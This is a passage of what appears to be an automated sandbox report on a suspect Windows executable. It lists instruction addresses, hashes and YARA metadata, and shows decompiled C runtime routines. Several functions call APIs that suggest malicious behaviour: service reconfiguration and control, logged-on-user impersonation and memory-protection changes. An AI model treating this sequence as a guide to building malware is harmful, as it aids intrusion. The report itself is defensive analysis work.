0x00402350
0x00402352
0x00402355
0x00402355
0x0040235b
0x0040235f
0x00402361
0x00402368
0x00402368
0x0040236d
0x00402371
0x00402373
0x00402375
0x0040237b
0x0040237b
0x00402377
0x00402377
0x00402377
0x00402390
0x00402396
0x0040239c
0x004023a0
0x004023a2
0x004023a9
0x004023a9
0x004023ae
0x004023b2
0x004023b4
0x004023ba
0x004023ba
0x004023b6
0x004023b6
0x004023b6
0x004023ce
0x004023d1
0x004023d3
0x004023dd
0x004023ec
0x004023ef
0x004023fe
0x00402401
0x00402403
0x00402411
0x00402417
0x00402424
0x00402426
0x0040242a
0x0040242c
0x00402434
0x00402434
0x0040243a
0x0040243f
0x00402443
0x00402445
0x0040244d
0x0040244d
0x00402445
0x00402251
0x0040223d
0x0040244f
0x0040245d
0x0040245f
0x00402461
0x00402462
0x00402467
0x00402467
0x0040245f
0x004021ca
0x0040246a
0x0040246e
0x00402470
0x00402478
0x00402478
0x0040247a
0x0040247e
0x00402480
0x00402488
0x00402488
0x00402480
0x00000000
0x00401c55
0x00401c62
0x00401c67
0x00401c6a
0x00401c6c
0x00401c73
0x00401c73
0x00401c77
0x00000000
0x00000000
0x00401c7b
0x00401c8f
0x00401c8f
0x00401c7d
0x00401c7d
0x00401c83
0x00000000
0x00401c85
0x00401c85
0x00401c88
0x00401c8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c8d
0x00401c83
0x00401c98
0x00401c9a
0x00401cbd
0x00401cc2
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd0
0x00401cd2
0x00401cd4
0x00000000
0x00000000
0x00401cd6
0x00401cd8
0x00401cec
0x00401cec
0x00401cda
0x00401cda
0x00401cdd
0x00401ce0
0x00000000
0x00401ce2
0x00401ce2
0x00401ce5
0x00401ce8
0x00401cea
0x00000000
0x00000000
0x00000000
0x00000000
0x00401cea
0x00401ce0
0x00401cf5
0x00401cf5
0x00401cf7
0x00000000
0x00401cf9
0x00401d02
0x00401d07
0x00401d09
0x00401d10
0x00401d1d
0x00401d22
0x00401d25
0x00401d27
0x00401d30
0x00401d30
0x00401d32
0x00401d34
0x00000000
0x00000000
0x00401d36
0x00401d38
0x00401d4c
0x00401d4c
0x00401d3a
0x00401d3a
0x00401d3d
0x00401d40
0x00000000
0x00401d42
0x00401d42
0x00401d45
0x00401d48
0x00401d4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d4a
0x00401d40
0x00401d55
0x00401d55
0x00401d57
0x00000000
0x00401d5d
0x00401d6a
0x00401d6f
0x00401d72
0x00401d74
0x00401d80
0x00401d80
0x00401d82
0x00401d84
0x00000000
0x00000000
0x00401d86
0x00401d88
0x00401d9c
0x00401d9c
0x00401d8a
0x00401d8a
0x00401d8d
0x00401d90
0x00000000
0x00401d92
0x00401d92
0x00401d95
0x00401d98
0x00401d9a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d9a
0x00401d90
0x00401da5
0x00401da5
0x00401da7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401da7
0x00401da0
0x00401da2
0x00000000
0x00401da2
0x00000000
0x00401d57
0x00401d50
0x00401d52
0x00000000
0x00401dad
0x00401db6
0x00401dbb
0x00401dbb
0x00401d10
0x00000000
0x00401d09
0x00000000
0x00401cf7
0x00401cf0
0x00401cf2
0x00000000
0x00401c9c
0x00401c9c
0x00401c9d
0x00401caf
0x00401caf
0x00000000
0x00401c9a
0x00401c93
0x00401c95
0x00000000
0x00401c95
0x00401c4f
0x00000000

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
Module32Next.KERNEL32 ref: 00401D02
Module32Next.KERNEL32 ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

8, xrefs: 00401BA9
!, xrefs: 004020CF
PPBs, xrefs: 00402183
x, xrefs: 00401E69
x, xrefs: 0040214A
{, xrefs: 00401E3C
), xrefs: 0040202E
:, xrefs: 00401B28
D, xrefs: 00401DFB
E, xrefs: 00401E0F
W, xrefs: 004020E6
v, xrefs: 0040212C
*, xrefs: 00401A1F
., xrefs: 0040201F
0, xrefs: 00401BBD
!, xrefs: 00401B1E
%, xrefs: 004020FA
[, xrefs: 00402047
___, xrefs: 0040227D
[, xrefs: 00401B37
_._, xrefs: 00402257
U, xrefs: 004020F5
!, xrefs: 0040201A
W, xrefs: 00402033
{, xrefs: 00401B4B
., xrefs: 00401B0A
h, xrefs: 00401A6F
*, xrefs: 004020E1
V, xrefs: 00402038
4, xrefs: 00401B64
5, xrefs: 00402109
W, xrefs: 00401B23
o, xrefs: 00402097
x, xrefs: 00401B78
6, xrefs: 004020C5
W, xrefs: 00401B14
", xrefs: 00401B0F
v, xrefs: 00401B5A
4, xrefs: 00402136
v, xrefs: 00401E4B
v, xrefs: 0040206A
{, xrefs: 0040211D
V, xrefs: 00401E19
x, xrefs: 00402088
o, xrefs: 00402159
4, xrefs: 00402074
', xrefs: 00401AF6
o, xrefs: 00401B8D
', xrefs: 00402006
{, xrefs: 0040205B

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$PPBs$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-533690119
Opcode ID: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0202A1A8 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 0202A4A0

Memory Dump Source

Source File: 00000002.00000002.368396198.0000000002020000.00000040.00000800.00020000.00000000.sdmp, Offset: 02020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2020000_arJf.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 30bdcf7547700416ebf373270753457c99ef48b2d27a16fd7289d010c96a08dc
Instruction ID: 958d5a984f35d47acdb98566e8ee60eebf110c37660ac838638278faf40cefa1
Opcode Fuzzy Hash: 30bdcf7547700416ebf373270753457c99ef48b2d27a16fd7289d010c96a08dc
Instruction Fuzzy Hash: E4C16C71E007298FDB11CFA8C9857AEBBF2BF44314F10812AEC55E6280DB749889DF81

Uniqueness

Uniqueness Score: -1.00%

Function 020296A8 Relevance: 1.6, APIs: 1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(00000000), ref: 020297F4

Memory Dump Source

Source File: 00000002.00000002.368396198.0000000002020000.00000040.00000800.00020000.00000000.sdmp, Offset: 02020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2020000_arJf.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 2f995c6028a54c1c9d7ba3f288fb3a70bd4ea595d3d33be6e339a2ee5ad148bf
Instruction ID: 801e384ab9c4c97a809eb2deb334ae1c17da86a29fc578fc48bca35390b5d5bc
Opcode Fuzzy Hash: 2f995c6028a54c1c9d7ba3f288fb3a70bd4ea595d3d33be6e339a2ee5ad148bf
Instruction Fuzzy Hash: 9C512274E003198FDB14CFA9C994BDEBBF1AF48304F24802AE816AB395C7749849CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E0040AF66(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v4;
				signed int _v16;
				signed int _v40;
				void* _t14;
				signed int _t15;
				intOrPtr* _t21;
				signed int _t24;
				void* _t28;
				void* _t39;
				void* _t40;
				signed int _t42;
				void* _t45;
				void* _t47;
				void* _t51;

				_t40 = __edi;
				_t28 = __ebx;
				_t45 = _t51;
				while(1) {
					_t14 = E0040B84D(_t28, _t39, _t40, _a4); // executed
					if(_t14 != 0) {
						break;
					}
					_t15 = E0040D2E3(_a4);
					__eflags = _t15;
					if(_t15 == 0) {
						__eflags =  *0x423490 & 0x00000001;
						if(( *0x423490 & 0x00000001) == 0) {
							 *0x423490 =  *0x423490 | 0x00000001;
							__eflags =  *0x423490;
							E0040AEFC(0x423484);
							E0040D2BD( *0x423490, 0x41a704);
						}
						E0040AF49( &_v16, 0x423484);
						E0040CD39( &_v16, 0x420fa4);
						asm("int3");
						_t47 = _t45;
						_push(_t47);
						_push(0xc);
						_push(0x420ff8);
						_t19 = E0040E1D8(_t28, _t40, 0x423484);
						_t42 = _v4;
						__eflags = _t42;
						if(_t42 != 0) {
							__eflags =  *0x4250b0 - 3;
							if( *0x4250b0 != 3) {
								_push(_t42);
								goto L16;
							} else {
								E0040D6E0(_t28, 4);
								_v16 = _v16 & 0x00000000;
								_t24 = E0040D713(_t42);
								_v40 = _t24;
								__eflags = _t24;
								if(_t24 != 0) {
									_push(_t42);
									_push(_t24);
									E0040D743();
								}
								_v16 = 0xfffffffe;
								_t19 = E0040B70B();
								__eflags = _v40;
								if(_v40 == 0) {
									_push(_v4);
									L16:
									__eflags = HeapFree( *0x4234b4, 0, ??);
									if(__eflags == 0) {
										_t21 = E0040BFC1(__eflags);
										 *_t21 = E0040BF7F(GetLastError());
									}
								}
							}
						}
						return E0040E21D(_t19);
					} else {
						continue;
					}
					L19:
				}
				return _t14;
				goto L19;
			}

0x0040af66
0x0040af66
0x0040af69
0x0040af7d
0x0040af80
0x0040af88
0x00000000
0x00000000
0x0040af73
0x0040af79
0x0040af7b
0x0040af8c
0x0040af98
0x0040af9a
0x0040af9a
0x0040afa3
0x0040afad
0x0040afb2
0x0040afb7
0x0040afc5
0x0040afca
0x0040afd0
0x0040aec2
0x0040b6b5
0x0040b6b7
0x0040b6bc
0x0040b6c1
0x0040b6c4
0x0040b6c6
0x0040b6c8
0x0040b6cf
0x0040b714
0x00000000
0x0040b6d1
0x0040b6d3
0x0040b6d9
0x0040b6de
0x0040b6e4
0x0040b6e7
0x0040b6e9
0x0040b6eb
0x0040b6ec
0x0040b6ed
0x0040b6f3
0x0040b6f4
0x0040b6fb
0x0040b700
0x0040b704
0x0040b706
0x0040b715
0x0040b723
0x0040b725
0x0040b727
0x0040b73a
0x0040b73c
0x0040b725
0x0040b704
0x0040b6cf
0x0040b742
0x00000000
0x00000000
0x00000000
0x00000000
0x0040af7b
0x0040af8b
0x00000000

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7EE Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040E7EE(int _a4) {

				E0040E7C3(_a4); // executed
				ExitProcess(_a4);
			}

0x0040e7f6
0x0040e7ff

APIs

___crtCorExitProcess.LIBCMT ref: 0040E7F6

Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA

ExitProcess.KERNEL32 ref: 0040E7FF

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5

Uniqueness

Uniqueness Score: -1.00%

Function 020299E8 Relevance: 1.6, APIs: 1, Instructions: 92
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32(?,?,?), ref: 02029AC2

Memory Dump Source

Source File: 00000002.00000002.368396198.0000000002020000.00000040.00000800.00020000.00000000.sdmp, Offset: 02020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2020000_arJf.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 6ace41aadfb72a6b6c0feb8a28c8cd6daa2bc251e34da0b69961be0fa68467ee
Instruction ID: 972abe126b2932eb0e22730101433df338e76858e7dde678b0805e1fa59dadaa
Opcode Fuzzy Hash: 6ace41aadfb72a6b6c0feb8a28c8cd6daa2bc251e34da0b69961be0fa68467ee
Instruction Fuzzy Hash: D93155B0D003288FDB11CFA9C985B9EBBF5BB48304F24812AE819AB340D7749849DF91

Uniqueness

Uniqueness Score: -1.00%

Function 02029920 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 020299A5

Memory Dump Source

Source File: 00000002.00000002.368396198.0000000002020000.00000040.00000800.00020000.00000000.sdmp, Offset: 02020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2020000_arJf.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 2bf8d37edfcae6f310ed9dbdb8d928e5c3d1d24ee252aa3955bdd7fd6920ff50
Instruction ID: c3b99b88d664b011073e468a17c5c301c17010084357e630b26511197d88a121
Opcode Fuzzy Hash: 2bf8d37edfcae6f310ed9dbdb8d928e5c3d1d24ee252aa3955bdd7fd6920ff50
Instruction Fuzzy Hash: D62104B5D002199FCB50CF99D884ADEFBF4EB88324F14815AD818BB244D7759944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02029180 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 020291F4

Memory Dump Source

Source File: 00000002.00000002.368396198.0000000002020000.00000040.00000800.00020000.00000000.sdmp, Offset: 02020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2020000_arJf.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9a19ec0786c4988db57b6325ee21dce5a5d253941fc3a208a44b9a0a2b12bbd7
Instruction ID: 2054a308a60e114632b50805e251a65d6f6661c94aeb0f68cb0a44ce10744cf6
Opcode Fuzzy Hash: 9a19ec0786c4988db57b6325ee21dce5a5d253941fc3a208a44b9a0a2b12bbd7
Instruction Fuzzy Hash: D611F2B1D003199BCB10DFAAC884AEFFBF5EF58314F50842AD529A7240C778A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0202A0E8 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 0202A158

Memory Dump Source

Source File: 00000002.00000002.368396198.0000000002020000.00000040.00000800.00020000.00000000.sdmp, Offset: 02020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2020000_arJf.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 52c6ff237f985fa1ec4e3a81e4210308813f6c29dea9a5f65b0b4358a8fce19a
Instruction ID: 1b28e78d4eb918597e614733801ba246fb555693211b0aabce58dad37e74f936
Opcode Fuzzy Hash: 52c6ff237f985fa1ec4e3a81e4210308813f6c29dea9a5f65b0b4358a8fce19a
Instruction Fuzzy Hash: 1911F9B1D006199FDB10CF9AC984BDEFBF4EB48324F10852AD558A7340D378A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02029ED8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 02029F37

Memory Dump Source

Source File: 00000002.00000002.368396198.0000000002020000.00000040.00000800.00020000.00000000.sdmp, Offset: 02020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2020000_arJf.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 7b8a23dd64ff5808114c7ef21c00392b6dd9ff48d50df99930581f76f507d6d3
Instruction ID: 9094a254690211ec4156fe51c5474d19d64a1c157e86bd60ad772c6678861e14
Opcode Fuzzy Hash: 7b8a23dd64ff5808114c7ef21c00392b6dd9ff48d50df99930581f76f507d6d3
Instruction Fuzzy Hash: 111136B1900259CFDB10CF9AC944BDEBBF8EB48324F20845AD558A3340C378A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D534(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4234b4 = _t6;
				if(_t6 != 0) {
					 *0x4250b0 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0040d549
0x0040d54f
0x0040d556
0x0040d55d
0x0040d563
0x0040d559
0x0040d559
0x0040d559

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA0A Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0040EA0A(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t8;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E0040E8DE(_t3, _t4, _t5, _t8); // executed
				return _t2;
			}

0x0040ea0f
0x0040ea11
0x0040ea13
0x0040ea16
0x0040ea1f

APIs

_doexit.LIBCMT ref: 0040EA16

Part of subcall function 0040E8DE: __lock.LIBCMT ref: 0040E8EC
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E923
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E938
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E962
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E978
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E985
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9B4
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9C4

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a0257ab8b89ab24c4dda27abc63ac43d0f25756bab2839dd78a8b277d7454467
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: D2B0923298420833EA202643AC03F063B1987C0B64E244031BA0C2E1E1A9A2A9618189

Uniqueness

Uniqueness Score: -1.00%

Function 008ED006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.365436489.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8ed000_arJf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f7dc15a7cf912fb110c4d6788033beab173cfc1dee440342390bc5c8e4784b
Instruction ID: b438b556e73021a75417aa9755850089fed75f962d0db7d4240c839cbb3213d9
Opcode Fuzzy Hash: c3f7dc15a7cf912fb110c4d6788033beab173cfc1dee440342390bc5c8e4784b
Instruction Fuzzy Hash: B401806140D7C09FD7124B26CC84752BFA8EF53224F1984CBD884DF297C2685C49C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 008ED01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.365436489.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8ed000_arJf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d23b59e7c80f0b53317d845506208301ef6bb46dd12b01fef7865af797248614
Instruction ID: dd1b11356de9be8e83448d8ec8e30087bc4273b160e8fd459f6b3393c4ac5987
Opcode Fuzzy Hash: d23b59e7c80f0b53317d845506208301ef6bb46dd12b01fef7865af797248614
Instruction Fuzzy Hash: 8A01A7714047C4AAE7108A17CC84B66BFD8FF52364F1CC159ED559B246C2799C49C6F1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0xda2ab297
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0xda2ab297
				_v812 = _t12;
				_t13 =  *0x422238; // 0x25d54d68
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce0f
0x0040ce11
0x0040ce11
0x00413644
0x00413649
0x0041364f
0x00413655
0x0041365b
0x00413661
0x00413667
0x0041366e
0x00413675
0x0041367c
0x00413683
0x0041368a
0x00413691
0x00413692
0x0041369b
0x004136a3
0x004136ab
0x004136b6
0x004136c0
0x004136c5
0x004136ca
0x004136d4
0x004136de
0x004136e3
0x004136e9
0x004136ee
0x004136fa
0x004136ff
0x00413701
0x00413709
0x00413714
0x00413721
0x00413723
0x00413725
0x0041372a
0x0041373e

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
